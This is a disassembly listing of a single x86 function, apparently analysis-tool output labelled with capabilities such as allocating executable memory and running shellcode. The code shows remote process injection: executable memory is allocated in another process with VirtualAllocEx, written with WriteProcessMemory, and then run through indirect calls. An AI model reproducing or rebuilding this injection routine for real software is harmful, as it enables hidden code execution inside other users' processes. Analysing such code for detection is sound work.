Function at 0x40fa61
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, 0x44d90e
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
mov eax, str.user32.dll
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040f961
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40fab6
push ebx
call fcn.00425307
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40fac6
push ebx
call fcn.00425307
add esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40fae0
mov eax, 0
jmp 0x40fd0d
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x40faf5
mov eax, 0x44d2b1
push eax
push 1
mov ebx, 0x194
call fcn.00427140
add esp, 0x10
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fadd qword [0x44d3f5]
fstp qword [ebp - 0x24]
mov dword [ebp - 0x28], esp
push 0x40
push 0x1000
fld qword [ebp - 0x24]
call fcn.004017e6
push eax
push 0
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
nop
nop
cmp dword [ebp - 0x28], esp
je 0x40fb61
push 0x138
push 0x4075f24
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40fb78
mov eax, 0
jmp 0x40fd0d
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x40fb8d
mov eax, 0x44d2b1
push eax
push 1
mov ebx, 0x194
call fcn.00427140
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 4]
call fcn.0040fd13
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x40fbc8
mov eax, 0x44d2b1
push eax
push 1
mov ebx, 0x194
call fcn.00427140
add esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push 0
push dword [ebp - 0x14]
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x40fbf5
add eax, 8
push eax
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x40fc22
push 0x252
push 0x4075f24
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 0x14], esp
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push 0
push dword [ebp + 8]
xor eax, eax
call dword [0x44f8cd]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x40fc68
push 0x2af
push 0x4075f24
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], esp
push 0xffffffff
push dword [ebp - 0xc]
xor eax, eax
call dword [0x44f8d1]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x40fc9c
push 0x31c
push 0x4075f24
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x40fcd5
push 0x360
push 0x4075f24
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 0x14], esp
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
xor eax, eax
call dword [0x44f8d5]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x40fd05
push 0x3bb
push 0x4075f24
push 6
call fcn.00425319
add esp, 0xc
mov eax, dword [ebp - 0x10]
jmp 0x40fd0d
mov esp, ebp
pop ebp
ret 8